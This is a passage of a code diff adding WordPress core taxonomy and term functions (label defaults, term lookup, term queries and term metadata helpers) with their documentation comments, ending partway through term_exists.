+ *     @type string $name                       General name for the taxonomy, usually plural. The same
+ *                                              as and overridden by `$tax->label`. Default 'Tags'/'Categories'.
+ *     @type string $singular_name              Name for one object of this taxonomy. Default 'Tag'/'Category'.
+ *     @type string $search_items               Default 'Search Tags'/'Search Categories'.
+ *     @type string $popular_items              This label is only used for non-hierarchical taxonomies.
+ *                                              Default 'Popular Tags'.
+ *     @type string $all_items                  Default 'All Tags'/'All Categories'.
+ *     @type string $parent_item                This label is only used for hierarchical taxonomies. Default
+ *                                              'Parent Category'.
+ *     @type string $parent_item_colon          The same as `parent_item`, but with colon `:` in the end.
+ *     @type string $edit_item                  Default 'Edit Tag'/'Edit Category'.
+ *     @type string $view_item                  Default 'View Tag'/'View Category'.
+ *     @type string $update_item                Default 'Update Tag'/'Update Category'.
+ *     @type string $add_new_item               Default 'Add New Tag'/'Add New Category'.
+ *     @type string $new_item_name              Default 'New Tag Name'/'New Category Name'.
+ *     @type string $separate_items_with_commas This label is only used for non-hierarchical taxonomies. Default
+ *                                              'Separate tags with commas', used in the meta box.
+ *     @type string $add_or_remove_items        This label is only used for non-hierarchical taxonomies. Default
+ *                                              'Add or remove tags', used in the meta box when JavaScript
+ *                                              is disabled.
+ *     @type string $choose_from_most_used      This label is only used on non-hierarchical taxonomies. Default
+ *                                              'Choose from the most used tags', used in the meta box.
+ *     @type string $not_found                  Default 'No tags found'/'No categories found', used in
+ *                                              the meta box and taxonomy list table.
+ *     @type string $no_terms                   Default 'No tags'/'No categories', used in the posts and media
+ *                                              list tables.
+ *     @type string $items_list_navigation      Label for the table pagination hidden heading.
+ *     @type string $items_list                 Label for the table hidden heading.
+ *     @type string $most_used                  Title for the Most Used tab. Default 'Most Used'.
+ *     @type string $back_to_items              Label displayed after a term has been updated.
+ * }
+ */
+function get_taxonomy_labels( $tax ) {
+	$tax->labels = (array) $tax->labels;
+
+	if ( isset( $tax->helps ) && empty( $tax->labels['separate_items_with_commas'] ) )
+		$tax->labels['separate_items_with_commas'] = $tax->helps;
+
+	if ( isset( $tax->no_tagcloud ) && empty( $tax->labels['not_found'] ) )
+		$tax->labels['not_found'] = $tax->no_tagcloud;
+
+	$nohier_vs_hier_defaults = array(
+		'name' => array( _x( 'Tags', 'taxonomy general name' ), _x( 'Categories', 'taxonomy general name' ) ),
+		'singular_name' => array( _x( 'Tag', 'taxonomy singular name' ), _x( 'Category', 'taxonomy singular name' ) ),
+		'search_items' => array( __( 'Search Tags' ), __( 'Search Categories' ) ),
+		'popular_items' => array( __( 'Popular Tags' ), null ),
+		'all_items' => array( __( 'All Tags' ), __( 'All Categories' ) ),
+		'parent_item' => array( null, __( 'Parent Category' ) ),
+		'parent_item_colon' => array( null, __( 'Parent Category:' ) ),
+		'edit_item' => array( __( 'Edit Tag' ), __( 'Edit Category' ) ),
+		'view_item' => array( __( 'View Tag' ), __( 'View Category' ) ),
+		'update_item' => array( __( 'Update Tag' ), __( 'Update Category' ) ),
+		'add_new_item' => array( __( 'Add New Tag' ), __( 'Add New Category' ) ),
+		'new_item_name' => array( __( 'New Tag Name' ), __( 'New Category Name' ) ),
+		'separate_items_with_commas' => array( __( 'Separate tags with commas' ), null ),
+		'add_or_remove_items' => array( __( 'Add or remove tags' ), null ),
+		'choose_from_most_used' => array( __( 'Choose from the most used tags' ), null ),
+		'not_found' => array( __( 'No tags found.' ), __( 'No categories found.' ) ),
+		'no_terms' => array( __( 'No tags' ), __( 'No categories' ) ),
+		'items_list_navigation' => array( __( 'Tags list navigation' ), __( 'Categories list navigation' ) ),
+		'items_list' => array( __( 'Tags list' ), __( 'Categories list' ) ),
+		/* translators: Tab heading when selecting from the most used terms */
+		'most_used' => array( _x( 'Most Used', 'tags' ), _x( 'Most Used', 'categories' ) ),
+		'back_to_items' => array( __( '&larr; Back to Tags' ), __( '&larr; Back to Categories' ) ),
+	);
+	$nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name'];
+
+	$labels = _get_custom_object_labels( $tax, $nohier_vs_hier_defaults );
+
+	$taxonomy = $tax->name;
+
+	$default_labels = clone $labels;
+
+	/**
+	 * Filters the labels of a specific taxonomy.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @see get_taxonomy_labels() for the full list of taxonomy labels.
+	 *
+	 * @param object $labels Object with labels for the taxonomy as member variables.
+	 */
+	$labels = apply_filters( "taxonomy_labels_{$taxonomy}", $labels );
+
+	// Ensure that the filtered labels contain all required default values.
+	$labels = (object) array_merge( (array) $default_labels, (array) $labels );
+
+	return $labels;
+}
+
+/**
+ * Add an already registered taxonomy to an object type.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_taxonomies The registered taxonomies.
+ *
+ * @param string $taxonomy    Name of taxonomy object.
+ * @param string $object_type Name of the object type.
+ * @return bool True if successful, false if not.
+ */
+function register_taxonomy_for_object_type( $taxonomy, $object_type) {
+	global $wp_taxonomies;
+
+	if ( !isset($wp_taxonomies[$taxonomy]) )
+		return false;
+
+	if ( ! get_post_type_object($object_type) )
+		return false;
+
+	if ( ! in_array( $object_type, $wp_taxonomies[$taxonomy]->object_type ) )
+		$wp_taxonomies[$taxonomy]->object_type[] = $object_type;
+
+	// Filter out empties.
+	$wp_taxonomies[ $taxonomy ]->object_type = array_filter( $wp_taxonomies[ $taxonomy ]->object_type );
+
+	return true;
+}
+
+/**
+ * Remove an already registered taxonomy from an object type.
+ *
+ * @since 3.7.0
+ *
+ * @global array $wp_taxonomies The registered taxonomies.
+ *
+ * @param string $taxonomy    Name of taxonomy object.
+ * @param string $object_type Name of the object type.
+ * @return bool True if successful, false if not.
+ */
+function unregister_taxonomy_for_object_type( $taxonomy, $object_type ) {
+	global $wp_taxonomies;
+
+	if ( ! isset( $wp_taxonomies[ $taxonomy ] ) )
+		return false;
+
+	if ( ! get_post_type_object( $object_type ) )
+		return false;
+
+	$key = array_search( $object_type, $wp_taxonomies[ $taxonomy ]->object_type, true );
+	if ( false === $key )
+		return false;
+
+	unset( $wp_taxonomies[ $taxonomy ]->object_type[ $key ] );
+	return true;
+}
+
+//
+// Term API
+//
+
+/**
+ * Retrieve object_ids of valid taxonomy and term.
+ *
+ * The strings of $taxonomies must exist before this function will continue. On
+ * failure of finding a valid taxonomy, it will return an WP_Error class, kind
+ * of like Exceptions in PHP 5, except you can't catch them. Even so, you can
+ * still test for the WP_Error class and get the error message.
+ *
+ * The $terms aren't checked the same as $taxonomies, but still need to exist
+ * for $object_ids to be returned.
+ *
+ * It is possible to change the order that object_ids is returned by either
+ * using PHP sort family functions or using the database by using $args with
+ * either ASC or DESC array. The value should be in the key named 'order'.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|array    $term_ids   Term id or array of term ids of terms that will be used.
+ * @param string|array $taxonomies String of taxonomy name or Array of string values of taxonomy names.
+ * @param array|string $args       Change the order of the object_ids, either ASC or DESC.
+ * @return WP_Error|array If the taxonomy does not exist, then WP_Error will be returned. On success.
+ *	the array can be empty meaning that there are no $object_ids found or it will return the $object_ids found.
+ */
+function get_objects_in_term( $term_ids, $taxonomies, $args = array() ) {
+	global $wpdb;
+
+	if ( ! is_array( $term_ids ) ) {
+		$term_ids = array( $term_ids );
+	}
+	if ( ! is_array( $taxonomies ) ) {
+		$taxonomies = array( $taxonomies );
+	}
+	foreach ( (array) $taxonomies as $taxonomy ) {
+		if ( ! taxonomy_exists( $taxonomy ) ) {
+			return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+		}
+	}
+
+	$defaults = array( 'order' => 'ASC' );
+	$args = wp_parse_args( $args, $defaults );
+
+	$order = ( 'desc' == strtolower( $args['order'] ) ) ? 'DESC' : 'ASC';
+
+	$term_ids = array_map('intval', $term_ids );
+
+	$taxonomies = "'" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "'";
+	$term_ids = "'" . implode( "', '", $term_ids ) . "'";
+
+	$sql = "SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tt.term_id IN ($term_ids) ORDER BY tr.object_id $order";
+
+	$last_changed = wp_cache_get_last_changed( 'terms' );
+	$cache_key = 'get_objects_in_term:' . md5( $sql ) . ":$last_changed";
+	$cache = wp_cache_get( $cache_key, 'terms' );
+	if ( false === $cache ) {
+		$object_ids = $wpdb->get_col( $sql );
+		wp_cache_set( $cache_key, $object_ids, 'terms' );
+	} else {
+		$object_ids = (array) $cache;
+	}
+
+	if ( ! $object_ids ){
+		return array();
+	}
+	return $object_ids;
+}
+
+/**
+ * Given a taxonomy query, generates SQL to be appended to a main query.
+ *
+ * @since 3.1.0
+ *
+ * @see WP_Tax_Query
+ *
+ * @param array  $tax_query         A compact tax query
+ * @param string $primary_table
+ * @param string $primary_id_column
+ * @return array
+ */
+function get_tax_sql( $tax_query, $primary_table, $primary_id_column ) {
+	$tax_query_obj = new WP_Tax_Query( $tax_query );
+	return $tax_query_obj->get_sql( $primary_table, $primary_id_column );
+}
+
+/**
+ * Get all Term data from database by Term ID.
+ *
+ * The usage of the get_term function is to apply filters to a term object. It
+ * is possible to get a term object from the database before applying the
+ * filters.
+ *
+ * $term ID must be part of $taxonomy, to get from the database. Failure, might
+ * be able to be captured by the hooks. Failure would be the same value as $wpdb
+ * returns for the get_row method.
+ *
+ * There are two hooks, one is specifically for each term, named 'get_term', and
+ * the second is for the taxonomy name, 'term_$taxonomy'. Both hooks gets the
+ * term object, and the taxonomy name as parameters. Both hooks are expected to
+ * return a Term object.
+ *
+ * {@see 'get_term'} hook - Takes two parameters the term Object and the taxonomy name.
+ * Must return term object. Used in get_term() as a catch-all filter for every
+ * $term.
+ *
+ * {@see 'get_$taxonomy'} hook - Takes two parameters the term Object and the taxonomy
+ * name. Must return term object. $taxonomy will be the taxonomy name, so for
+ * example, if 'category', it would be 'get_category' as the filter name. Useful
+ * for custom taxonomies or plugging into default taxonomies.
+ *
+ * @todo Better formatting for DocBlock
+ *
+ * @since 2.3.0
+ * @since 4.4.0 Converted to return a WP_Term object if `$output` is `OBJECT`.
+ *              The `$taxonomy` parameter was made optional.
+ *
+ * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param.
+ *
+ * @param int|WP_Term|object $term If integer, term data will be fetched from the database, or from the cache if
+ *                                 available. If stdClass object (as in the results of a database query), will apply
+ *                                 filters and return a `WP_Term` object corresponding to the `$term` data. If `WP_Term`,
+ *                                 will return `$term`.
+ * @param string     $taxonomy Optional. Taxonomy name that $term is part of.
+ * @param string     $output   Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                             a WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string     $filter   Optional, default is raw or no WordPress defined filter will applied.
+ * @return array|WP_Term|WP_Error|null Object of the type specified by `$output` on success. When `$output` is 'OBJECT',
+ *                                     a WP_Term instance is returned. If taxonomy does not exist, a WP_Error is
+ *                                     returned. Returns null for miscellaneous failure.
+ */
+function get_term( $term, $taxonomy = '', $output = OBJECT, $filter = 'raw' ) {
+	if ( empty( $term ) ) {
+		return new WP_Error( 'invalid_term', __( 'Empty Term.' ) );
+	}
+
+	if ( $taxonomy && ! taxonomy_exists( $taxonomy ) ) {
+		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+	}
+
+	if ( $term instanceof WP_Term ) {
+		$_term = $term;
+	} elseif ( is_object( $term ) ) {
+		if ( empty( $term->filter ) || 'raw' === $term->filter ) {
+			$_term = sanitize_term( $term, $taxonomy, 'raw' );
+			$_term = new WP_Term( $_term );
+		} else {
+			$_term = WP_Term::get_instance( $term->term_id );
+		}
+	} else {
+		$_term = WP_Term::get_instance( $term, $taxonomy );
+	}
+
+	if ( is_wp_error( $_term ) ) {
+		return $_term;
+	} elseif ( ! $_term ) {
+		return null;
+	}
+
+	/**
+	 * Filters a term.
+	 *
+	 * @since 2.3.0
+	 * @since 4.4.0 `$_term` can now also be a WP_Term object.
+	 *
+	 * @param int|WP_Term $_term    Term object or ID.
+	 * @param string      $taxonomy The taxonomy slug.
+	 */
+	$_term = apply_filters( 'get_term', $_term, $taxonomy );
+
+	/**
+	 * Filters a taxonomy.
+	 *
+	 * The dynamic portion of the filter name, `$taxonomy`, refers
+	 * to the taxonomy slug.
+	 *
+	 * @since 2.3.0
+	 * @since 4.4.0 `$_term` can now also be a WP_Term object.
+	 *
+	 * @param int|WP_Term $_term    Term object or ID.
+	 * @param string      $taxonomy The taxonomy slug.
+	 */
+	$_term = apply_filters( "get_{$taxonomy}", $_term, $taxonomy );
+
+	// Bail if a filter callback has changed the type of the `$_term` object.
+	if ( ! ( $_term instanceof WP_Term ) ) {
+		return $_term;
+	}
+
+	// Sanitize term, according to the specified filter.
+	$_term->filter( $filter );
+
+	if ( $output == ARRAY_A ) {
+		return $_term->to_array();
+	} elseif ( $output == ARRAY_N ) {
+		return array_values( $_term->to_array() );
+	}
+
+	return $_term;
+}
+
+/**
+ * Get all Term data from database by Term field and data.
+ *
+ * Warning: $value is not escaped for 'name' $field. You must do it yourself, if
+ * required.
+ *
+ * The default $field is 'id', therefore it is possible to also use null for
+ * field, but not recommended that you do so.
+ *
+ * If $value does not exist, the return value will be false. If $taxonomy exists
+ * and $field and $value combinations exist, the Term will be returned.
+ *
+ * This function will always return the first term that matches the `$field`-
+ * `$value`-`$taxonomy` combination specified in the parameters. If your query
+ * is likely to match more than one term (as is likely to be the case when
+ * `$field` is 'name', for example), consider using get_terms() instead; that
+ * way, you will get all matching terms, and can provide your own logic for
+ * deciding which one was intended.
+ *
+ * @todo Better formatting for DocBlock.
+ *
+ * @since 2.3.0
+ * @since 4.4.0 `$taxonomy` is optional if `$field` is 'term_taxonomy_id'. Converted to return
+ *              a WP_Term object if `$output` is `OBJECT`.
+ *
+ * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param.
+ *
+ * @param string     $field    Either 'slug', 'name', 'id' (term_id), or 'term_taxonomy_id'
+ * @param string|int $value    Search for this term value
+ * @param string     $taxonomy Taxonomy name. Optional, if `$field` is 'term_taxonomy_id'.
+ * @param string     $output   Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                             a WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @param string     $filter   Optional, default is raw or no WordPress defined filter will applied.
+ * @return WP_Term|array|false WP_Term instance (or array) on success. Will return false if `$taxonomy` does not exist
+ *                             or `$term` was not found.
+ */
+function get_term_by( $field, $value, $taxonomy = '', $output = OBJECT, $filter = 'raw' ) {
+
+	// 'term_taxonomy_id' lookups don't require taxonomy checks.
+	if ( 'term_taxonomy_id' !== $field && ! taxonomy_exists( $taxonomy ) ) {
+		return false;
+	}
+
+	// No need to perform a query for empty 'slug' or 'name'.
+	if ( 'slug' === $field || 'name' === $field ) {
+		$value = (string) $value;
+
+		if ( 0 === strlen( $value ) ) {
+			return false;
+		}
+	}
+
+	if ( 'id' === $field || 'term_id' === $field ) {
+		$term = get_term( (int) $value, $taxonomy, $output, $filter );
+		if ( is_wp_error( $term ) || null === $term ) {
+			$term = false;
+		}
+		return $term;
+	}
+
+	$args = array(
+		'get'                    => 'all',
+		'number'                 => 1,
+		'taxonomy'               => $taxonomy,
+		'update_term_meta_cache' => false,
+		'orderby'                => 'none',
+		'suppress_filter'        => true,
+	);
+
+	switch ( $field ) {
+		case 'slug' :
+			$args['slug'] = $value;
+			break;
+		case 'name' :
+			$args['name'] = $value;
+			break;
+		case 'term_taxonomy_id' :
+			$args['term_taxonomy_id'] = $value;
+			unset( $args[ 'taxonomy' ] );
+			break;
+		default :
+			return false;
+	}
+
+	$terms = get_terms( $args );
+	if ( is_wp_error( $terms ) || empty( $terms ) ) {
+		return false;
+	}
+
+	$term = array_shift( $terms );
+
+	// In the case of 'term_taxonomy_id', override the provided `$taxonomy` with whatever we find in the db.
+	if ( 'term_taxonomy_id' === $field ) {
+		$taxonomy = $term->taxonomy;
+	}
+
+	return get_term( $term, $taxonomy, $output, $filter );
+}
+
+/**
+ * Merge all term children into a single array of their IDs.
+ *
+ * This recursive function will merge all of the children of $term into the same
+ * array of term IDs. Only useful for taxonomies which are hierarchical.
+ *
+ * Will return an empty array if $term does not exist in $taxonomy.
+ *
+ * @since 2.3.0
+ *
+ * @param int    $term_id  ID of Term to get children.
+ * @param string $taxonomy Taxonomy Name.
+ * @return array|WP_Error List of Term IDs. WP_Error returned if `$taxonomy` does not exist.
+ */
+function get_term_children( $term_id, $taxonomy ) {
+	if ( ! taxonomy_exists( $taxonomy ) ) {
+		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+	}
+
+	$term_id = intval( $term_id );
+
+	$terms = _get_term_hierarchy($taxonomy);
+
+	if ( ! isset($terms[$term_id]) )
+		return array();
+
+	$children = $terms[$term_id];
+
+	foreach ( (array) $terms[$term_id] as $child ) {
+		if ( $term_id == $child ) {
+			continue;
+		}
+
+		if ( isset($terms[$child]) )
+			$children = array_merge($children, get_term_children($child, $taxonomy));
+	}
+
+	return $children;
+}
+
+/**
+ * Get sanitized Term field.
+ *
+ * The function is for contextual reasons and for simplicity of usage.
+ *
+ * @since 2.3.0
+ * @since 4.4.0 The `$taxonomy` parameter was made optional. `$term` can also now accept a WP_Term object.
+ *
+ * @see sanitize_term_field()
+ *
+ * @param string      $field    Term field to fetch.
+ * @param int|WP_Term $term     Term ID or object.
+ * @param string      $taxonomy Optional. Taxonomy Name. Default empty.
+ * @param string      $context  Optional, default is display. Look at sanitize_term_field() for available options.
+ * @return string|int|null|WP_Error Will return an empty string if $term is not an object or if $field is not set in $term.
+ */
+function get_term_field( $field, $term, $taxonomy = '', $context = 'display' ) {
+	$term = get_term( $term, $taxonomy );
+	if ( is_wp_error($term) )
+		return $term;
+
+	if ( !is_object($term) )
+		return '';
+
+	if ( !isset($term->$field) )
+		return '';
+
+	return sanitize_term_field( $field, $term->$field, $term->term_id, $term->taxonomy, $context );
+}
+
+/**
+ * Sanitizes Term for editing.
+ *
+ * Return value is sanitize_term() and usage is for sanitizing the term for
+ * editing. Function is for contextual and simplicity.
+ *
+ * @since 2.3.0
+ *
+ * @param int|object $id       Term ID or object.
+ * @param string     $taxonomy Taxonomy name.
+ * @return string|int|null|WP_Error Will return empty string if $term is not an object.
+ */
+function get_term_to_edit( $id, $taxonomy ) {
+	$term = get_term( $id, $taxonomy );
+
+	if ( is_wp_error($term) )
+		return $term;
+
+	if ( !is_object($term) )
+		return '';
+
+	return sanitize_term($term, $taxonomy, 'edit');
+}
+
+/**
+ * Retrieve the terms in a given taxonomy or list of taxonomies.
+ *
+ * You can fully inject any customizations to the query before it is sent, as
+ * well as control the output with a filter.
+ *
+ * The {@see 'get_terms'} filter will be called when the cache has the term and will
+ * pass the found term along with the array of $taxonomies and array of $args.
+ * This filter is also called before the array of terms is passed and will pass
+ * the array of terms, along with the $taxonomies and $args.
+ *
+ * The {@see 'list_terms_exclusions'} filter passes the compiled exclusions along with
+ * the $args.
+ *
+ * The {@see 'get_terms_orderby'} filter passes the `ORDER BY` clause for the query
+ * along with the $args array.
+ *
+ * Prior to 4.5.0, the first parameter of `get_terms()` was a taxonomy or list of taxonomies:
+ *
+ *     $terms = get_terms( 'post_tag', array(
+ *         'hide_empty' => false,
+ *     ) );
+ *
+ * Since 4.5.0, taxonomies should be passed via the 'taxonomy' argument in the `$args` array:
+ *
+ *     $terms = get_terms( array(
+ *         'taxonomy' => 'post_tag',
+ *         'hide_empty' => false,
+ *     ) );
+ *
+ * @since 2.3.0
+ * @since 4.2.0 Introduced 'name' and 'childless' parameters.
+ * @since 4.4.0 Introduced the ability to pass 'term_id' as an alias of 'id' for the `orderby` parameter.
+ *              Introduced the 'meta_query' and 'update_term_meta_cache' parameters. Converted to return
+ *              a list of WP_Term objects.
+ * @since 4.5.0 Changed the function signature so that the `$args` array can be provided as the first parameter.
+ *              Introduced 'meta_key' and 'meta_value' parameters. Introduced the ability to order results by metadata.
+ * @since 4.8.0 Introduced 'suppress_filter' parameter.
+ *
+ * @internal The `$deprecated` parameter is parsed for backward compatibility only.
+ *
+ * @param string|array $args       Optional. Array or string of arguments. See WP_Term_Query::__construct()
+ *                                 for information on accepted arguments. Default empty.
+ * @param array        $deprecated Argument array, when using the legacy function parameter format. If present, this
+ *                                 parameter will be interpreted as `$args`, and the first function parameter will
+ *                                 be parsed as a taxonomy or array of taxonomies.
+ * @return array|int|WP_Error List of WP_Term instances and their children. Will return WP_Error, if any of $taxonomies
+ *                            do not exist.
+ */
+function get_terms( $args = array(), $deprecated = '' ) {
+	$term_query = new WP_Term_Query();
+
+	$defaults = array(
+		'suppress_filter' => false,
+	);
+
+	/*
+	 * Legacy argument format ($taxonomy, $args) takes precedence.
+	 *
+	 * We detect legacy argument format by checking if
+	 * (a) a second non-empty parameter is passed, or
+	 * (b) the first parameter shares no keys with the default array (ie, it's a list of taxonomies)
+	 */
+	$_args = wp_parse_args( $args );
+	$key_intersect  = array_intersect_key( $term_query->query_var_defaults, (array) $_args );
+	$do_legacy_args = $deprecated || empty( $key_intersect );
+
+	if ( $do_legacy_args ) {
+		$taxonomies = (array) $args;
+		$args = wp_parse_args( $deprecated, $defaults );
+		$args['taxonomy'] = $taxonomies;
+	} else {
+		$args = wp_parse_args( $args, $defaults );
+		if ( isset( $args['taxonomy'] ) && null !== $args['taxonomy'] ) {
+			$args['taxonomy'] = (array) $args['taxonomy'];
+		}
+	}
+
+	if ( ! empty( $args['taxonomy'] ) ) {
+		foreach ( $args['taxonomy'] as $taxonomy ) {
+			if ( ! taxonomy_exists( $taxonomy ) ) {
+				return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+			}
+		}
+	}
+
+	// Don't pass suppress_filter to WP_Term_Query.
+	$suppress_filter = $args['suppress_filter'];
+	unset( $args['suppress_filter'] );
+
+	$terms = $term_query->query( $args );
+
+	// Count queries are not filtered, for legacy reasons.
+	if ( ! is_array( $terms ) ) {
+		return $terms;
+	}
+
+	if ( $suppress_filter ) {
+		return $terms;
+	}
+
+	/**
+	 * Filters the found terms.
+	 *
+	 * @since 2.3.0
+	 * @since 4.6.0 Added the `$term_query` parameter.
+	 *
+	 * @param array         $terms      Array of found terms.
+	 * @param array         $taxonomies An array of taxonomies.
+	 * @param array         $args       An array of get_terms() arguments.
+	 * @param WP_Term_Query $term_query The WP_Term_Query object.
+	 */
+	return apply_filters( 'get_terms', $terms, $term_query->query_vars['taxonomy'], $term_query->query_vars, $term_query );
+}
+
+/**
+ * Adds metadata to a term.
+ *
+ * @since 4.4.0
+ *
+ * @param int    $term_id    Term ID.
+ * @param string $meta_key   Metadata name.
+ * @param mixed  $meta_value Metadata value.
+ * @param bool   $unique     Optional. Whether to bail if an entry with the same key is found for the term.
+ *                           Default false.
+ * @return int|WP_Error|bool Meta ID on success. WP_Error when term_id is ambiguous between taxonomies.
+ *                           False on failure.
+ */
+function add_term_meta( $term_id, $meta_key, $meta_value, $unique = false ) {
+	if ( wp_term_is_shared( $term_id ) ) {
+		return new WP_Error( 'ambiguous_term_id', __( 'Term meta cannot be added to terms that are shared between taxonomies.'), $term_id );
+	}
+
+	return add_metadata( 'term', $term_id, $meta_key, $meta_value, $unique );
+}
+
+/**
+ * Removes metadata matching criteria from a term.
+ *
+ * @since 4.4.0
+ *
+ * @param int    $term_id    Term ID.
+ * @param string $meta_key   Metadata name.
+ * @param mixed  $meta_value Optional. Metadata value. If provided, rows will only be removed that match the value.
+ * @return bool True on success, false on failure.
+ */
+function delete_term_meta( $term_id, $meta_key, $meta_value = '' ) {
+	return delete_metadata( 'term', $term_id, $meta_key, $meta_value );
+}
+
+/**
+ * Retrieves metadata for a term.
+ *
+ * @since 4.4.0
+ *
+ * @param int    $term_id Term ID.
+ * @param string $key     Optional. The meta key to retrieve. If no key is provided, fetches all metadata for the term.
+ * @param bool   $single  Whether to return a single value. If false, an array of all values matching the
+ *                        `$term_id`/`$key` pair will be returned. Default: false.
+ * @return mixed If `$single` is false, an array of metadata values. If `$single` is true, a single metadata value.
+ */
+function get_term_meta( $term_id, $key = '', $single = false ) {
+	return get_metadata( 'term', $term_id, $key, $single );
+}
+
+/**
+ * Updates term metadata.
+ *
+ * Use the `$prev_value` parameter to differentiate between meta fields with the same key and term ID.
+ *
+ * If the meta field for the term does not exist, it will be added.
+ *
+ * @since 4.4.0
+ *
+ * @param int    $term_id    Term ID.
+ * @param string $meta_key   Metadata key.
+ * @param mixed  $meta_value Metadata value.
+ * @param mixed  $prev_value Optional. Previous value to check before removing.
+ * @return int|WP_Error|bool Meta ID if the key didn't previously exist. True on successful update.
+ *                           WP_Error when term_id is ambiguous between taxonomies. False on failure.
+ */
+function update_term_meta( $term_id, $meta_key, $meta_value, $prev_value = '' ) {
+	if ( wp_term_is_shared( $term_id ) ) {
+		return new WP_Error( 'ambiguous_term_id', __( 'Term meta cannot be added to terms that are shared between taxonomies.'), $term_id );
+	}
+
+	return update_metadata( 'term', $term_id, $meta_key, $meta_value, $prev_value );
+}
+
+/**
+ * Updates metadata cache for list of term IDs.
+ *
+ * Performs SQL query to retrieve all metadata for the terms matching `$term_ids` and stores them in the cache.
+ * Subsequent calls to `get_term_meta()` will not need to query the database.
+ *
+ * @since 4.4.0
+ *
+ * @param array $term_ids List of term IDs.
+ * @return array|false Returns false if there is nothing to update. Returns an array of metadata on success.
+ */
+function update_termmeta_cache( $term_ids ) {
+	return update_meta_cache( 'term', $term_ids );
+}
+
+/**
+ * Get all meta data, including meta IDs, for the given term ID.
+ *
+ * @since 4.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $term_id Term ID.
+ * @return array|false Array with meta data, or false when the meta table is not installed.
+ */
+function has_term_meta( $term_id ) {
+	$check = wp_check_term_meta_support_prefilter( null );
+	if ( null !== $check ) {
+		return $check;
+	}
+
+	global $wpdb;
+
+	return $wpdb->get_results( $wpdb->prepare( "SELECT meta_key, meta_value, meta_id, term_id FROM $wpdb->termmeta WHERE term_id = %d ORDER BY meta_key,meta_id", $term_id ), ARRAY_A );
+}
+
+/**
+ * Registers a meta key for terms.
+ *
+ * @since 4.9.8
+ *
+ * @param string $taxonomy Taxonomy to register a meta key for. Pass an empty string
+ *                         to register the meta key across all existing taxonomies.
+ * @param string $meta_key The meta key to register.
+ * @param array  $args     Data used to describe the meta key when registered. See
+ *                         {@see register_meta()} for a list of supported arguments.
+ * @return bool True if the meta key was successfully registered, false if not.
+ */
+function register_term_meta( $taxonomy, $meta_key, array $args ) {
+	$args['object_subtype'] = $taxonomy;
+
+	return register_meta( 'term', $meta_key, $args );
+}
+
+/**
+ * Unregisters a meta key for terms.
+ *
+ * @since 4.9.8
+ *
+ * @param string $taxonomy Taxonomy the meta key is currently registered for. Pass
+ *                         an empty string if the meta key is registered across all
+ *                         existing taxonomies.
+ * @param string $meta_key The meta key to unregister.
+ * @return bool True on success, false if the meta key was not previously registered.
+ */
+function unregister_term_meta( $taxonomy, $meta_key ) {
+	return unregister_meta_key( 'term', $meta_key, $taxonomy );
+}
+
+/**
+ * Determines whether a term exists.
+ *
+ * Formerly is_term(), introduced in 2.3.0.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|string $term     The term to check. Accepts term ID, slug, or name.
+ * @param string     $taxonomy The taxonomy name to use
+ * @param int        $parent   Optional. ID of parent term under which to confine the exists search.
+ * @return mixed Returns null if the term does not exist. Returns the term ID
+ *               if no taxonomy is specified and the term ID exists. Returns
+ *               an array of the term ID and the term taxonomy ID the taxonomy
+ *               is specified and the pairing exists.
+ */
+function term_exists( $term, $taxonomy = '', $parent = null ) {
+	global $wpdb;
+
+	$select = "SELECT term_id FROM $wpdb->terms as t WHERE ";
+	$tax_select = "SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE ";
+
+	if ( is_int($term) ) {
+		if ( 0 == $term )
+			return 0;
+		$where = 't.term_id = %d';
+		if ( !empty($taxonomy) )
+			return $wpdb->get_row( $wpdb->prepare( $tax_select . $where . " AND tt.taxonomy = %s", $term, $taxonomy ), ARRAY_A );
+		else
+			return $wpdb->get_var( $wpdb->prepare( $select . $where, $term ) );
+	}
+
+	$term = trim( wp_unslash( $term ) );
+	$slug = sanitize_title( $term );
+
+	$where = 't.slug = %s';
+	$else_where = 't.name = %s';
+	$where_fields = array($slug);
+	$else_where_fields = array($term);
+	$orderby = 'ORDER BY t.term_id ASC';
+	$limit = 'LIMIT 1';
+	if ( !empty($taxonomy) ) {
+		if ( is_numeric( $parent ) ) {
+			$parent = (int) $parent;
+			$where_fields[] = $parent;
+			$else_where_fields[] = $parent;
+			$where .= ' AND tt.parent = %d';
+			$else_where .= ' AND tt.parent = %d';
+		}
+
+		$where_fields[] = $taxonomy;
+		$else_where_fields[] = $taxonomy;
+
+		if ( $result = $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $where AND tt.taxonomy = %s $orderby $limit", $where_fields), ARRAY_A) )
+			return $result;
+
